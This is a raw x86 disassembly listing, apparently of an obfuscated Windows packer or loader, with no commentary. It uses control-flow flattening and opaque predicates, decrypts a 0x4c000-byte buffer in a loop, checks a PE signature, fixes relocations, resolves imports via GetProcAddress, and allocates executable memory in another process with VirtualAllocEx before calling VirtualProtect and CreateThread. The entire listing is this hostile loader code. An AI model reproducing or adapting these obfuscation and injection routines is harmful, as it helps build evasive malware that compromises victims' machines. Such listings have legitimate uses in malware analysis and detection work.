vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov ecx, 0x226fda88
mov eax, dword [ebp - 0x7c]
cmp dword [eax + 4], 0
mov eax, 0xc98f047d
cmove eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov esi, 0x491c9f72
mov edi, 0x81c3b6e2
mov dword [eax], 0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
jmp 0x4050f4
mov eax, 0x9a366b9d
jmp 0x4017d0
mov eax, 0xdbee770d
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0x30c92b39
mov esi, 0x659d5e7a
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x659d5e7a
jmp 0x4017a7
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x16c], eax
mov eax, 0x4db9092c
jmp 0x4017d0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0xde41e029
jmp 0x4017d0
mov eax, 0xaa9fcf77
jmp 0x4017d0
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x40
mov eax, 0x51c7b6c7
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x34431fe9
mov edi, 0x34ba765e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x34ba765e
jmp 0x4046e8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x1d4]
mov dword [eax], ecx
mov eax, 0x2772452e
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x3eaadb54
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x659d5e7a
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x48]
jmp 0x4052af
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov eax, 0xe5ef248a
jmp 0x4017d0
mov eax, dword [ebp - 0x110]
mov ecx, 0x3ff55f4
cmp dword [eax], 0
mov eax, 0x6ef30a60
cmove eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
cmp dword [eax], 0
mov eax, 0x2c9c9b7d
sets byte [ebp - 0x89]
jmp 0x4017d0
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x40]
mov eax, 0x674a603f
jmp 0x4017d0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xc8]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, 0x99a01cc5
jmp 0x4017d0
mov eax, 0x26d5fc50
jmp 0x4017d0
mov eax, dword [ebp - 0x80]
mov eax, dword [0x4b3448]
mov esi, 0xbeda6f80
mov edi, 0x491c9f72
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x491c9f72
jmp 0x4051ee
mov eax, dword [ebp - 0x28]
mov ecx, 0x20000000
mov edi, 0x23a23717
mov esi, 0xca69a2ca
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1c4], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xca69a2ca
jmp 0x4017a7
mov eax, 0xb1068dd9
jmp 0x4017d0
mov eax, 0x1ce7407c
jmp 0x4017d0
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x3c]
mov eax, 0x88c158d5
jmp 0x4017d0
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x6d0d9a76
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0x28f0f8cd
mov esi, 0xdc1fbb40
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xdc1fbb40
jmp 0x4017a7
mov eax, dword [ebp - 0xf0]
mov edi, 0xf6168a6e
mov esi, 0x8f83bae5
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8f83bae5
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x40469d
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, 0x8b53965d
jmp 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x5f9e895f
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xb2a14209
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8e79a342
jmp 0x4052a1
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x33ea6043
mov edi, 0xef8b5252
jmp 0x40499f
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x92c35003
mov edi, 0xc9b374cf
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1c]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x154], ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x3c]
mov eax, 0xf4774e9f
jmp 0x4017d0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
cmp ecx, dword [eax + 0x34]
mov eax, 0xb3c14ab5
mov ecx, 0xaf25e2fb
cmove eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, 0x3a945556
jmp 0x4017d0
mov eax, dword [ebp - 0x30]
mov eax, 0x98b7be72
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, 0x7a5863cf
jmp 0x4017d0
mov eax, 0x39555061
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov edi, 0x9bf4fe7f
mov esi, 0x4ea71d09
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4ea71d09
jmp 0x4017a7
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0xf8d4ac5
jmp 0x4017d0
movzx eax, word [ebp - 0xe2]
mov dword [ebp - 0x178], eax
mov eax, 0xcf9eeb68
jmp 0x4017d0
mov eax, 0xf0cded52
jmp 0x4017d0
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x18c]
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, 0xa57ebe53
setne byte [ebp - 0x88]
jmp 0x4017d0
mov eax, 0xf6e4b312
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xa80e6a4e
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd27706c1
jmp 0x4052a1
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x92c35003
mov edi, 0xde6c7125
jmp 0x40499f
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0xc]
mov dword [ebp - 0x138], eax
mov eax, 0xc9cf5175
jmp 0x4017d0
mov eax, dword [ebp - 0x80]
mov edi, 0x956475b0
mov esi, 0x94a4281e
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x198], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x94a4281e
jmp 0x4017a7
mov eax, dword [ebp - 0xd8]
mov eax, 0x90439215
jmp 0x4017d0
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x1d0], eax
mov eax, 0x6cd93c16
jmp 0x4017d0
mov eax, 0x29a98298
jmp 0x4017d0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov eax, 0x50ab8e23
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x3a945556
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbb176586
jmp 0x4052a1
mov eax, 0x8235eb53
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0xe75311a0
mov esi, 0x8bfceb3a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8bfceb3a
sete cl
cmove eax, edi
cmp dword [0x4b3444], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x4017d0
mov eax, 0x239c03d
jmp 0x4017d0
mov eax, 0x2772452e
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x28f8f76
mov edi, 0xdc3720b6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdc3720b6
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x405008
mov eax, 0x60896f7d
jmp 0x4017d0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xe4], ax
mov eax, 0x57b28dbd
jmp 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb0]
mov edi, 0xbe9688b1
mov esi, 0xab693666
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
cmp byte [eax], 0
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
setne byte [ebp - 0x8f]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xab693666
jmp 0x4017a7
mov eax, 0xaf25e2fb
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x97d90ec0
mov edi, 0x63d43a4c
jmp 0x4050f4
mov eax, 0x7ecb855f
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x18215c39
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x454febc2
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0xf4]
cmp ecx, 0xa
cmovge eax, edx
add esi, 2
mov dword [ebp - 0xf8], esi
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xea8dc185
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x14d94dab
jmp 0x4052a1
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x19c], eax
mov eax, 0xde709bbb
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0x1ce7407c
mov esi, 0xf2c8e1f6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf2c8e1f6
jmp 0x4017a7
mov eax, dword [ebp - 0xf4]
mov eax, 0x5924e95d
jmp 0x4017d0
mov eax, 0x850c1648
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, 0x26ab9cd2
jmp 0x4017d0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x104], eax
mov eax, 0x5a2a2bf4
mov esi, dword [ebp - 0xdc]
mov ebx, dword [ebp - 0x1c8]
mov edi, dword [ebp - 0x1cc]
nop word cs:[eax + eax]
cmp eax, 0x2188d937
je 0x4052b9
cmp eax, 0x5a2a2bf4
jne 0x404900
push esi
push ebx
push edi
push dword [ebp - 0x104]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x2188d937
jmp 0x404900
mov eax, 0x4884f421
jmp 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, 0xf5586908
jmp 0x4017d0
mov eax, dword [ebp - 0xe0]
mov ecx, 0x7ecb855f
cmp eax, 0xc
mov eax, 0xecef1a5b
cmove eax, ecx
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x808efbc2
mov edi, 0x595560e6
jmp 0x4050f4
mov eax, 0x3c2b1e3f
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x39a48c75
mov edi, 0x98b7be72
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x4017d0
mov eax, dword [ebp - 0x11c]
mov ecx, 0xc98f047d
cmp eax, dword [ebp - 0x124]
mov eax, 0x51c2475c
cmove eax, ecx
jmp 0x4017d0
cmp byte [ebp - 0x87], 0
mov eax, 0x53d2e3e1
mov ecx, 0x283698e2
cmovne eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, 0xd422f87
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xf2c8e1f6
mov edi, 0x1c6f6a84
jmp 0x4050f4
mov eax, 0x52ae5680
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0xc359e84a
mov esi, 0x14d94dab
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x14d94dab
jmp 0x4017a7
mov eax, dword [ebp - 0xc0]
mov eax, dword [0x4b3448]
mov esi, 0x629780b6
mov edi, 0x24236f6c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x24236f6c
jmp 0x4051ee
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, 0x275d2039
jmp 0x4017d0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov dword [ebp - 0x190], eax
mov eax, 0x4e3d8521
jmp 0x4017d0
mov eax, 0x9200fd5e
jmp 0x4017d0
mov ecx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xd90eb067
lea edx, [ecx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0xf31be809
cmovne ecx, esi
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, esi
mov esi, dword [ebp - 0x84]
cmp eax, 0xa
cmovge edx, ecx
mov esi, dword [esi]
mov dword [ebp - 0x1a4], esi
mov esi, dword [ebp - 0x20]
mov esi, dword [esi]
mov dword [ebp - 0x1a8], esi
mov esi, dword [ebp - 0x60]
mov esi, dword [esi]
mov edi, dword [ebp - 0x3c]
mov edi, dword [edi]
lea edi, [edi + edi*4]
lea eax, [esi + edi*4 + 0x10]
mov dword [ebp - 0x1ac], eax
mov eax, edx
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x92579cbd
mov edi, 0x3cd23906
jmp 0x4050f4
mov eax, dword [ebp - 0x178]
mov ecx, 0x384477d6
not eax
or eax, 0xffffcfff
cmp eax, 0xffffffff
mov eax, 0x35105193
cmove eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov eax, 0x151d7ee
jmp 0x4017d0
mov eax, 0x2694ebf2
jmp 0x4017d0
mov eax, 0x455a4724
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0xa5d120f1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9f1f42ea
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
jmp 0x4052af
mov eax, dword [0x4b3448]
mov edi, 0xe7011962
mov esi, 0x382b9484
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x382b9484
jmp 0x4017a7
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x4ea71d09
mov edi, 0x151d7ee
jmp 0x4050f4
mov eax, 0x629780b6
jmp 0x4017d0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ecx], eax
mov eax, 0xd944bcf3
jmp 0x4017d0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0x5599dec9
jmp 0x4017d0
mov eax, dword [ebp - 0x5c]
mov eax, 0x7ffb554b
jmp 0x4017d0
mov eax, dword [ebp - 0xe0]
mov ecx, 0x13cbab0c
cmp eax, 0xc
mov eax, 0xc8c725f1
cmovl eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0xaecf7da
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x977e9b89
mov edi, 0xe924d823
jmp 0x4050f4
mov eax, dword [ebp - 0x114]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x118], eax
mov eax, 0x56199419
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 0xe8], ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x2c]
mov eax, 0x434d666c
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, 0x2d08b58a
jmp 0x4017d0
mov eax, 0xbbaec2b
jmp 0x4017d0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x14], 0x4c000
mov dword [ebp - 0x18], eax
mov eax, 0xa8808aed
nop word cs:[eax + eax]
cmp eax, 0xdcbcdb86
je 0x4052c9
cmp eax, 0xa8808aed
jne 0x404d60
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x404d7c
mov eax, 0xdcbcdb86
jmp 0x404d60
mov eax, dword [ebp - 0x48]
mov edi, 0x67f58842
mov esi, 0x14ada49f
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x14ada49f
jmp 0x4017a7
mov eax, 0x44c06e87
jmp 0x4017d0
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x124], eax
mov eax, 0xee39932d
jmp 0x4017d0
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x2c]
mov eax, 0x51b2c983
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x100], eax
mov eax, 0x1c4919d7
jmp 0x4017d0
mov eax, 0x28f0f8cd
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov edi, 0xf4a0fd6f
mov esi, 0x9f1f42ea
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9f1f42ea
jmp 0x4017a7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x78]
mov eax, dword [0x4b3448]
mov esi, 0x130a2ddd
mov edi, 0x92579cbd
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x92579cbd
jmp 0x4051ee
mov eax, 0x8235eb53
jmp 0x4017d0
mov eax, 0x529c9f29
jmp 0x4017d0
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x140]
push dword [ebp - 0x13c]
vzeroupper
call fcn.0043e820
add esp, 0xc
mov eax, 0x96435ddc
jmp 0x4017d0
mov eax, 0x43f81ff1
jmp 0x4017d0
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov dword [ebp - 0x34], eax
mov eax, 0xfb47a452
jmp 0x4017d0
mov eax, dword [ebp - 0xb4]
mov eax, 0x6af97987
jmp 0x4017d0
mov eax, 0xf4fd810
jmp 0x4017d0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x14], 0x4c000
mov dword [ebp - 0x18], eax
mov eax, 0xa8808aed
nop dword [eax + eax]
cmp eax, 0xdcbcdb86
je 0x405300
cmp eax, 0xa8808aed
jne 0x404f20
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x404f3c
mov eax, 0xdcbcdb86
jmp 0x404f20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, 0x34431fe9
jmp 0x4017d0
mov eax, dword [ebp - 0x108]
mov ecx, 0x51958cd8
cmp dword [eax], 0x4550
mov eax, 0x1fd1ead4
cmove eax, ecx
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x6d0d9a76
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x603b261c
jmp 0x4052a1
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x20
mov eax, 0xf4b073d7
jmp 0x4017d0
mov eax, 0x8ae27408
jmp 0x4017d0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x34]
mov esi, 0x4c28b02
mov edi, 0x8bfceb3a
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0x44]
mov dword [ecx + eax], edx
mov eax, dword [0x4b3448]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8bfceb3a
sete cl
cmove eax, esi
cmp dword [0x4b3444], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x4017d0
movzx eax, word [ebp - 0xe4]
mov ecx, dword [ebp - 0x1b4]
mov edx, 0x54b6a949
cmp ecx, eax
mov eax, 0x6f471c1c
cmovl eax, edx
jmp 0x4017d0
mov eax, dword [ebp - 0x80]
mov eax, dword [0x4b3448]
mov esi, 0xf4774e9f
mov edi, 0x545a0f4f
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x545a0f4f
jmp 0x4051ee
mov eax, 0xa518ed0b
jmp 0x4017d0
mov eax, 0x384477d6
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
mov esi, 0x7ffb554b
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbd56090f
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x4017d0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xcc]
mov eax, 0x974c6604
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x94a4281e
mov edi, 0x51b2c983
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x4017d0
mov eax, 0xb8c4314a
jmp 0x4017d0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0xd634f6d3
jmp 0x4017d0
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x94]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, 0xfee8a469
jmp 0x4017d0
mov eax, dword [0x4b3448]
mov esi, 0x8ed72759
mov edi, 0xdc1fbb40
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xdc1fbb40
jmp 0x4051ee
mov eax, 0x7f1cf429
jmp 0x4017d0
mov eax, 0x83244131
jmp 0x4017d0
mov eax, 0x130a2ddd
jmp 0x4017d0
cmp byte [ebp - 0x8c], 0
mov eax, 0x540718a9
mov ecx, 0x4a2237be
cmovne eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x74]
mov eax, dword [0x4b3448]
mov esi, 0x6af97987
mov edi, 0xd505c587
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
